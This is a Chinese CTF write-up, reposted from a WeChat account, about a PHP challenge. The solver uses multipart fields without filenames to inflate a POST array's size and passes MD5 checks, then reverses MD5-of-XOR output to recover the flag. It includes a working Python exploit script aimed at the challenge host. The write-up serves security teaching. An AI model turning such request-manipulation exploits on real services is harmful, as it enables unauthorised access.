PHP 例题 | 绕过 POST 包最大限制

admin 2024年10月10日20:38:53评论12 views字数 2162阅读7分12秒阅读模式
利用文件上传,绕过POST包最大大小的题目,很久之前做的,也忘了发公众号。

臭毛病以后改掉。。
```php
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管,我要玩原神!😭😭😭");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人!😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了?肯定是某忽悠干的!😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
 
  echo json_encode($flag);
}
```

wp:
```python
import requests, re, hashlib, json
from requests_toolbelt import MultipartEncoder

url = 'http://challenge.basectf.fun:41929/'

m = MultipartEncoder(  
    fields={'len[]': (None, b'data', 'application/octet-stream')}   # 文件名 None, 否则进$_FILE 不进 $_POST
)

md5Dict = {}
md5XorData = []

for i in range(0, 127):
    md5Dict[hashlib.md5(str(i).encode('utf-8')).hexdigest()] = i

def go():
    i = 0
    data = {'m[0]':'100%'}
    data['m[1]'] = 'love100%' + hashlib.md5(data['m[0]'].encode('utf-8')).hexdigest()
    resJson = ''
    while True:
        data['len['+str(i)+']'] = (None, b'data', 'application/octet-stream')
        m = MultipartEncoder(data)
        i += 1
        trueData = m.to_string()
        result = requests.post(url, params={
            'tip': '我要玩原神'
        }, data=trueData,headers={'Content-Type':m.content_type}).content.decode('utf-8') #
        reCompile = re.compile(b'</code>(.+?)$', re.M)
        try:
            reRes = re.findall(reCompile, result.encode('utf-8'))[0].decode('utf-8')
            if '❌' not in reRes:
                # result = requests.post(url, params={
                #     'tip': '我要玩原神'
                # }, data=trueData,headers={'Content-Type':m.content_type}, proxies={'http':'127.0.0.1:8080'}).content.decode('utf-8')
                # break
                resJson = reRes
                break
        except:
            print(result)
    myJson = json.loads(resJson)
    for md5 in myJson:
        md5XorData.append(md5Dict[md5])
    for key, XorData in enumerate(md5XorData):
        print(chr(XorData ^ key), end='')
    
if __name__ == '__main__':
    go()
```

原文始发于微信公众号(Heihu Share):PHP 例题 | 绕过 POST 包最大限制

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日20:38:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP 例题 | 绕过 POST 包最大限制http://cn-sec.com/archives/3250342.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息